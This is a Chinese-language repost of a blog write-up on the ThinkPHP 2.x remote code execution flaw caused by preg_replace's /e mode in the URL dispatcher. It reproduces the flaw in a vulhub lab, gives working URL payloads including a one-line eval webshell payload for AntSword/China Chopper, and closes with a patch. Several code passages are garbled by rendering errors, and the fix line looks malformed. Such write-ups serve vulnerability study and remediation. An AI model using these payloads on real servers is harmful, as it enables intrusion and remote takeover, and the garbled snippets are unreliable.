文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

ThinkPHP 2.x 任意代码执行漏洞

2023-09-06 19:26

关注

ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架。ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:KaTeX parse error: Undefined control sequence: \w at position 23: …reg_replace('@(\̲w̲+)'.depr.‘([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[‘\1’]=“\2”;', implode( d e p r , depr, depr,paths)); 导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

Thinkphp2.x系列以及ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

漏洞原由是因为preg_replace的/e模式匹配路由导致的代码执行:KaTeX parse error: Undefined control sequence: \w at position 23: …reg_replace('@(\̲w̲+)'.depr.‘([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[‘\1’]=“\2”;', implode( d e p r , depr, depr,paths));为了明白漏洞产生的原因,我们先了解下面几个知识点。

e和/e:

e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 为PHP专有参数,表示可执行模式

preg_replace()函数:

preg_replace()函数是一个替换函数,支持正则匹配。匹配规则是:(‘正则规则’,‘替换字符’,‘目标字符’)也就是说如果传入的目标字符,符合正则规则的字符的话就替换这个字符。

如果说在正则规则用的是/e而不是e,那么当传入的目标字符,符合正则规则的的话,就就会执行‘替换字符’的内容

 @preg_replace('/a/e','print("hello jammny!");','abc');>

在这里插入图片描述

问题代码存在/ThinkPHP/Lib/Think/Util/Dispatcher.class.php

img

根据注释知道这个是thinkphp 内置的Dispacher类,用来完成URL解析、路由和调度。

重点关注代码

// 分析PATHINFO信息         self::getPathInfo();          if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL             $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));             $var  =  array();             if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){                 $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';                 if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {                     // 禁止直接访问分组                     exit;                 }             }             if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称                 $var[C('VAR_MODULE')]  =   array_shift($paths);             }             $var[C('VAR_ACTION')]  =   array_shift($paths);             // 解析剩余的URL参数             $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));             $_GET   =  array_merge($var,$_GET);         }

前面的self::getPathInfo(); 表示没有路由规则,因此会按默认规则调度URL。也就会执行这段有问题的代码:KaTeX parse error: Undefined control sequence: \w at position 23: …reg_replace('@(\̲w̲+)'.depr.‘([^’.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[‘\1’]=“\2”;', implode( d e p r , depr, depr,paths));

'KaTeX parse error: Got function '\\' with no arguments as argument to '\'' at position 7: var[\'\̲\̲1\']="\\2";'是对数…var = array();表示创建了一个空数组。(\w+)/([^/]+),这个正则的意思是每次取路径的2个参数,依次排序。举个例子:

 $var = array(); preg_replace("/(\w+)\/([^\/\/])/e",'$var[\'\\1\']="\\2";',"a/b/c/d/e/f"); print_r ($var);

img

每次取出2个参数,第一个参数作为数组的键,第二个参数作为数组的值。因此如果’a/b/c/d/e/f’的参数是可控的,那么我们就能进行代码执行。

 $var = array(); preg_replace("/(\w+)\/([^\/\/])/e",'$var[\'\\1\']="\\2";',"a/{${phpversion()}}/c/d/e/f"); print_r ($var);

在这里插入图片描述

p a t h s = e x p l o d e ( paths = explode( paths=explode(depr,trim($_SERVER[‘PATH_INFO’],‘/’));表示当前路径。

implode( d e p r , depr, depr,paths)作用就是把路径当作参数放进了数组$var里面。

由于下面的代码:

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称                 $var[C('VAR_MODULE')]  =   array_shift($paths);             }             $var[C('VAR_ACTION')]  =   array_shift($paths);

因此路径前2个值是要作为模块和动作的,如果模块和动作还没有定义就删除它。因此可以构造payload如下

*构造payload:*

ThinkPHP 5.1在没有定义路由的情况下典型的URL访问则是:

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

如果不支持PATHINFO的服务器可以使用兼容模式访问如下:

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

thinkphp 所有的主入口文件默认访问Index控制器(模块),thinkphp 所有的控制器默认执行index动作(方法)

因此可以构造payload(注意函数放在键值的位置):

http://192.168.30.128:8080/?s=/Index/index/jammny/${@phpinfo()} http://192.168.30.128:8080/?s=/a/b/c/${@phpinfo()}/e/f

我这里vulhub环境:https://vulhub.org/#/environments/thinkphp/2-rce/

开启环境:
在这里插入图片描述

使用payload 直接访问,即可执行phpinfo():

http://192.168.111.6:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D

在这里插入图片描述

利用该漏洞可直接getshell,下面给出一个能够直接蚁剑(菜刀)连接的payload:

/index.php?s=a/b/c/${@print(eval($_POST[1]))} 

在这里插入图片描述在这里插入图片描述

用户可下载官方发布的补丁:

http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838

或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

.KaTeX parse error: Undefined control sequence: \/ at position 7: depr.'\̲/̲]+)@e', 'var[‘\1’]=“\2”;', implode( d e p r , depr, depr,paths));

修改为:```php$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。

来源地址:https://blog.csdn.net/weixin_60329395/article/details/127250446

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯